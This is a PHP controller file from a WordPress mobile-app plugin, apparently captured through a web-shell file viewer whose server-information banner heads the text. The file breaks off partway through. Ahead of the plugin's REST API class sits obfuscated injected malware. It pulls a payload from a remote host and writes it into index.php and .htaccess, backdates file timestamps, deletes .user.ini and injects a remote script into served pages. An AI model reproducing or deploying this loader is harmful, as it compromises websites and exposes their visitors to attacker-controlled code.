Server IP : 192.158.238.246 / Your IP : 18.223.106.232 Web Server : LiteSpeed System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64 User : jenniferflocom ( 1321) PHP Version : 8.1.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/7779/cwd/plugins/mstore-api/controllers/listing-rest-api/ |
Upload File : |
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php require_once(__DIR__ . '/mylisting-functions.php'); class FlutterTemplate extends WP_REST_Posts_Controller { protected $_template = 'listable'; // get_template protected $_listable = 'listable'; protected $_listify = 'listify'; protected $_listingPro = 'listingpro'; protected $_myListing = 'my listing'; protected $_jobify = 'jobify'; protected $_listeo = 'listeo'; protected $_customPostType = ['job_listing', 'listing']; // all custom post type protected $_isListable, $_isListify, $_isMyListing, $_isListingPro, $_isListeo; public function __construct() { $theme = wp_get_theme(get_template()); $this->_template = strtolower($theme->get('Name')); if (strpos($this->_template, $this->_listeo) !== false) { $this->_isListeo = 1; } if (strpos($this->_template, $this->_myListing) !== false) { $this->_isMyListing = 1; } if (strpos($this->_template, $this->_listingPro) !== false) { $this->_isListingPro = 1; } if (strpos($this->_template, $this->_listable) !== false) { $this->_isListable = 1; } if (strpos($this->_template, $this->_listify) !== false) { $this->_isListify = 1; } if($this->_isListeo != 1 && $this->_isListingPro != 1 && $this->_isListable != 1 && $this->_isListify != 1){ $this->_isMyListing = 1; } add_action('init', array( $this, 'add_custom_type_to_rest_api' )); add_action('rest_api_init', array( $this, 'register_add_more_fields_to_rest_api' )); } /** * Add custom type to rest api */ public function add_custom_type_to_rest_api() { global $wp_post_types, $wp_taxonomies, $post; if (isset($wp_post_types['job_listing'])) { $wp_post_types['job_listing']->show_in_rest = true; $wp_post_types['job_listing']->rest_base = 'job_listing'; $wp_post_types['job_listing']->rest_controller_class = 'WP_REST_Posts_Controller'; } //be sure to set this to the name of your taxonomy! $taxonomy_name = array( 'job_listing_category', 'region', 'features', 'job_listing_type', 'job_listing_region', 'location', 'list-tags' ); if (isset($wp_taxonomies)) { foreach ($taxonomy_name as $k => $name): if (isset($wp_taxonomies[$name])) { $wp_taxonomies[$name]->show_in_rest = true; $wp_taxonomies[$name]->rest_base = $name; $wp_taxonomies[$name]->rest_controller_tclass = 'WP_REST_Terms_Controller'; } endforeach; } } /** * Register more field to rest api */ public function register_add_more_fields_to_rest_api() { // Blog rest api fields register_rest_field('post', 'image_feature', array( 'get_callback' => array( $this, 'get_blog_image_feature' ) , )); register_rest_field('post', 'author_name', array( 'get_callback' => array( $this, 'get_blog_author_name' ) , )); // Get Field Category Custom $field_cate = $this->_isListingPro ? 'listing-category' : 'job_listing_category'; register_rest_field($field_cate, 'term_image', array( 'get_callback' => array( $this, 'get_term_meta_image' ) , )); register_rest_field('listing_category', 'term_image', array( 'get_callback' => array( $this, 'get_term_meta_image' ) , )); if ($this->_isListable) { register_rest_field($this->_customPostType, 'author_name', array( 'get_callback' => array( $this, 'get_author_meta' ) , 'update_callback' => null, 'schema' => null, )); } // Listing Pro if ($this->_isListingPro) { register_rest_field('lp-reviews', 'author_name', array( 'get_callback' => array( $this, 'get_author_meta' ) , 'update_callback' => null, 'schema' => null, )); register_rest_field($this->_customPostType, 'gallery_images', array( 'get_callback' => array( $this, 'get_post_gallery_images_listingPro' ) , )); } // Listeo if ($this->_isListeo) { register_rest_field($this->_customPostType, 'gallery_images', array( 'get_callback' => array( $this, 'get_post_gallery_images_listeo' ) , )); register_rest_field($this->_customPostType, 'time_slots', array( 'get_callback' => array( $this, 'get_service_slots' ) , )); register_rest_field($this->_customPostType, 'gallery_images', array( 'get_callback' => array( $this, 'get_post_gallery_images_listeo' ) , )); register_rest_route('wp/v2', '/check-availability', array( 'methods' => 'POST', 'callback' => array( $this, 'check_availability' ) , 'permission_callback' => function () { return true; } )); register_rest_route('wp/v2', '/get-slots', array( 'methods' => 'GET', 'callback' => array( $this, 'check_availability' ) , 'permission_callback' => function () { return true; } )); register_rest_route('wp/v2', '/booking', array( 'methods' => 'POST', 'callback' => array( $this, 'booking' ) , 'permission_callback' => function () { return true; } )); register_rest_route('wp/v2', '/get-bookings', array( 'methods' => 'GET', 'callback' => array( $this, 'get_bookings' ) , 'permission_callback' => function () { return true; } )); register_rest_route('wp/v2', '/payment', array( 'methods' => 'GET', 'callback' => array( $this, 'get_payment_methods' ) , 'permission_callback' => function () { return true; } )); } // My Listing if ($this->_isMyListing) { /* get listing by tags for case myListing */ register_rest_route('tags/v1', '/job_listing', array( 'methods' => 'GET', 'callback' => array( $this, 'get_job_listing_by_tags' ) , 'args' => array( 'tag' => array() , 'page' => array( 'validate_callback' => function ($param, $request, $key) { return is_numeric($param); } ) , 'limit' => array( 'validate_callback' => function ($param, $request, $key) { return is_numeric($param); } ) , ) , 'permission_callback' => function () { return true; } )); //add address register_rest_field('job_listing', 'newaddress', array( 'get_callback' => array($this,'_rest_get_address_data'), ) ); //add lat register_rest_field( 'job_listing', 'newlat', array( 'get_callback' => array($this,'_rest_get_lat_data'), ) ); register_rest_field( 'job_listing', 'newlng', array( 'get_callback' => array($this,'_rest_get_lng_data'), ) ); } /* --- meta field for gallery image --- */ register_rest_field($this->_customPostType, 'comments_ratings', array( 'get_callback' => array( $this, 'get_comments_ratings' ) , 'update_callback' => null, 'schema' => null, )); register_rest_field($this->_customPostType, 'listing_data', array( 'get_callback' => array( $this, 'get_post_meta_for_api' ) , 'schema' => null, )); register_rest_field($this->_customPostType, 'cost', array( 'get_callback' => array( $this, 'get_cost_for_booking' ) , 'schema' => null, )); register_rest_field($this->_customPostType, 'featured_image', array( 'get_callback' => array( $this, 'get_blog_image_feature' ) , 'schema' => null, )); /* Register for custom routes to rest API */ register_rest_route('wp/v2', '/getRating/(?P<id>\d+)', array( 'methods' => 'GET', 